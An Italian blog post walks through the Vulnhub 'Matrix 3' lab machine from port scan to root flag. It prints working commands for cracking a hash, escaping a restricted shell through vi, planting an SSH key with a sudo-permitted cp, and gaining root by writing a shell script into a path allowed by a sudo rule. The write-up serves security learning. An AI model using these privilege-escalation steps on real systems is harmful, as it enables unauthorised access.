Lanciamo netdiscover per scoprire l'indirizzo ip e teniamolo d'acconto.
Lanciamo nmap per la solita procedura di presa visione delle porte aperte e scopriamo che:
root@kali:~/Desktop/Matrix3# nmap -sSV -p- matrix3
Starting Nmap 7.70 ( https://nmap.org ) at 2019-07-11 11:09 EDT
Nmap scan report for matrix3 (matrix3)
Host is up (0.00036s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE VERSION
80/tcp open http SimpleHTTPServer 0.6 (Python 2.7.14)
6464/tcp open ssh OpenSSH 7.7 (protocol 2.0)
7331/tcp open caldav Radicale calendar and contacts server (Python BaseHTTPServer)
MAC Address: 08:00:27:15:FD:41 (Oracle VirtualBox virtual NIC)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 26.49 seconds
Porta 80, ssh sulla 6464 e 7331.
Andiamo a vedere la pagina http://matrix3 ed otteniamo il seguente contenuto:
http://matrix3 |
corrispondente alla solita facciata del web server tipico della serie Matrix di Vulnhub.
Il primo consiglio che possiamo prendere è proprio quello di "seguire il coniglio": se infatti ispezioniamo l'immagine del coniglietto (minuscola al centro della pagina verso il basso), il file immagine si chiama "Matrix_can-show-you-the-door.png".
Per chi non avesse mai giocato anche con le altre macchine virtuali della serie Matrix, occorre conoscere che "Matrix" è anche il nome di una cartella di rete situata proprio in
http://matrix3/Matrix/
E quindi non resta che andare a vedere cosa c'è dentro :-)
Risparmio la fatica a trovare una sottocartella non vuota: l'obiettivo si può raggiungere ad esempio con dei cicli for in bash e l'utilizzo del comando "curl" (se volete maggiori indizi, scrivetemi pure qui nei commenti!). Alla fine siamo riusciti a trovare una sottocartella non vuota, esattamente al percorso:
Scarichiamo senza pensarci due volte il file secret.gz ed analizziamolo.
Sembrerebbe ad un primo approccio che il file sia compresso, ma in realtà si tratta di un banalissimo file ASCII. Il file contiene una coppia a quanto pare user:password, di cui l'user è scritto in chiaro, mentre la password in hash. Per capire di che tipo di hash si tratta, o siamo abituati a riconoscerla ad occhio, oppure ci avvaliamo dell'utilissimo strumento "hash-identifier" di Kali Linux:
secret.gz |
Proviamo allora a craccare l'hash tentanto per il tipo MD5 con l'uso del programma "hashcat" (per maggiori informazioni circa il comando da lanciare, consiglio di visionare il seguente link: hashcat ).
hashcat -m 0 "hash_da_craccare" dizionario_da_usare --force (per OpenCL) |
Dopo aver provato con l'ssh senza alcun risultato positivo, mi sono rivolto al servizio che gira sulla porta 7331, quindi mi sono collegato a:
http://matrix3:7331
per scoprire che mi chiede username e password.
Dopo aver inserito admin come username e passwd come password sono entrato in un altro sito.
http://matrix3:7331 |
Dove al momento sembra non ci siano più indizi per continuare ... ma ci è in soccorso un file utilissimo per capire la struttura dei siti internet, e cioè il mitio "robots.txt"!
Disallow: /data/
... non vogliamo andare a vedere cosa c'è dentro a http://matrix3:7331/data/ ? Ma certo che sì!
Dall'indirizzo http://matrix3:7331/data/data possiamo scaricare questo file, si tratta di un eseguibile:
root@kali:~/Desktop/Matrix3# file data
data: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Cerchiamo allora in rete un software per analizzarlo, tipo OllyDbg o IDRA per Windows ... per Kali Linux ho trovato un analizzatore sviluppato proprio dalla NSA (National Security Agency), l'Agenzia di sicurezza informatica nazionale americana, assolutamente fidato!
Si chiama "Ghidra" ed è possibile scaricarlo da questo link.
Una volta lanciato e creato un nuovo progetto, carichiamo il file "data" salvato in precedenza e procediamo all'analisi. In particolare, andiamo a cercare i "label" con cui sono salvate le stringhe testuali per vedere se troviamo qualcosa di interessante, e infatti è così:
output di Ghidra |
La penultima stringa contiene esattamente:
guest:7R1n17yN30
Sarà mica la password della SSH?
root@kali:~/Desktop/Matrix3# ssh guest@192.168.0.7 -p 6464
guest@192.168.0.7's password:
Last login: Thu Apr 4 10:24:06 2019 from 192.168.56.103
guest@matrix:~$
Bingo! Siamo connessi al servizio SSH che gira sulla porta 6464 (ricordatevi i risultati di NMAP)
Ahinoi siamo però in una shell "ristretta", cioè con accesso limitato (in particolare siamo in una rbash):
guest@matrix:~$ ls
-rbash: /bin/ls: restricted: cannot specify `/' in command names
guest@matrix:~$ echo $PATH
/home/guest/prog
guest@matrix:~$ echo /home/guest/prog/*
/home/guest/prog/vi
Sembrerebbe quindi che l'unico comando che il nostro PATH ci riconosce è il programma "vi" situato al percorso
/home/guest/prog
Lanciamo vi e proviamo ad uscire dalla shell ristretta:
Digitiamo il seguente comando in vi: 1) prima i due punti ":" 2) poi !/bin/bash 3) diamo INVIO e... |
Voilà:
Shell non ristretta |
Adesso però vogliamo avere accesso di root .. come fare?
Questa volta l'elenco dei file con permessi di esecuzione non ci viene molto in aiuto, scopriamo solo che l'user trinity ha permessi di root con il comando "/bin/cp" ma nient'altro ... ok, allora diventiamo Trinity!
Per farlo, la via è stata un pochino arzigogolata: per prima cosa creiamo una chiave ssh pubblica e una chiave ssh privata, diamo quella pubblica a trinity e proviamo a loggarci da guest su trinity via ssh alla porta 6464 ... molto tortuoso, ma funzionante!
Qui di seguito i passaggi:
ssh-keygen (lasciate pure tutto vuoto se volete, a parte il nome del file in cui salvare, per esempio "key")
chmod 777 key.pub (per non avere problemi di permessi)
sudo -u trinity /bin/cp key.pub /home/trinity/.ssh/authorized_keys (con il comando "sudo" possiamo eseguire la copia della chiave come fossimo l'utente trinity)
ssh trinity@127.0.0.1 -i .ssh/key -p 6464 (login su ssh via chiave privata e porta 6464: attenzione che l'IP stavolta si riferisce ovviamente al percorso interno!)
e siamo diventati Trinity :-)
trinity@matrix:~$ whoami
trinity
trinity@matrix:~$ sudo -l
User trinity may run the following commands on matrix:
(root) NOPASSWD: /home/trinity/oracle
Quindi l'utente Trinity può lanciare il programma "oracle" come se fosse root senza nessuna password richiesta! Ottimo: l'unico svantaggio è che non esiste quel programma situato in quel percorso!
Ma non è affatto uno svantaggio! Possiamo crearne uno noi, di nostro "gusto" (non so se mi spiego) e posizionarlo esattamente lì e chiamarlo "oracle", perché no?
trinity@matrix:~$ echo "/bin/sh" > /home/trinity/oracle
trinity@matrix:~$ chmod 777 oracle
trinity@matrix:~$ ls -la oracle
-rwxrwxrwx 1 trinity trinity 8 Jul 12 20:58 oracle*
trinity@matrix:~$ sudo ./oracle
sh-4.4# id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
sh-4.4# whoami
root
sh-4.4#
sh-4.4# sudo /bin/bash
root@matrix:/home/trinity#
E troviamo la bandiera finale!
root@matrix:/home# cd /root/
root@matrix:~# cat flag.txt
,----------------, ,---------,
,-----------------------, ," ,"|
," ,"| ," ," |
+-----------------------+ | ," ," |
| .-----------------. | | +---------+ |
| | | | | | -==----'| |
| | Matrix is | | | | | |
| | compromised | | |/----|`---= | |
| | C:\>_reload | | | ,/|==== ooo | ;
| | | | | // |(((( [33]| ,"
| `-----------------' |," .;'| |(((( | ,"
+-----------------------+ ;; | | |," -morpheus AKA (unknowndevice64)-
/_)______________(_/ //' | +---------+
___________________________/___ `,
/ oooooooooooooooo .o. oooo /, \,"-----------
/ ==ooooooooooooooo==.o. ooo= // ,`\--{)B ,"
/_==__==========__==_ooo__ooo=_/' /___________,"
`-----------------------------'
-[ 7h!5 !5 n07 7h3 3nd, m47r!x w!11 r37urn ]-
Spero vi sia piaciuto, lasciatemi dei commenti qui sotto se volete!!
A presto!!
Nessun commento:
Posta un commento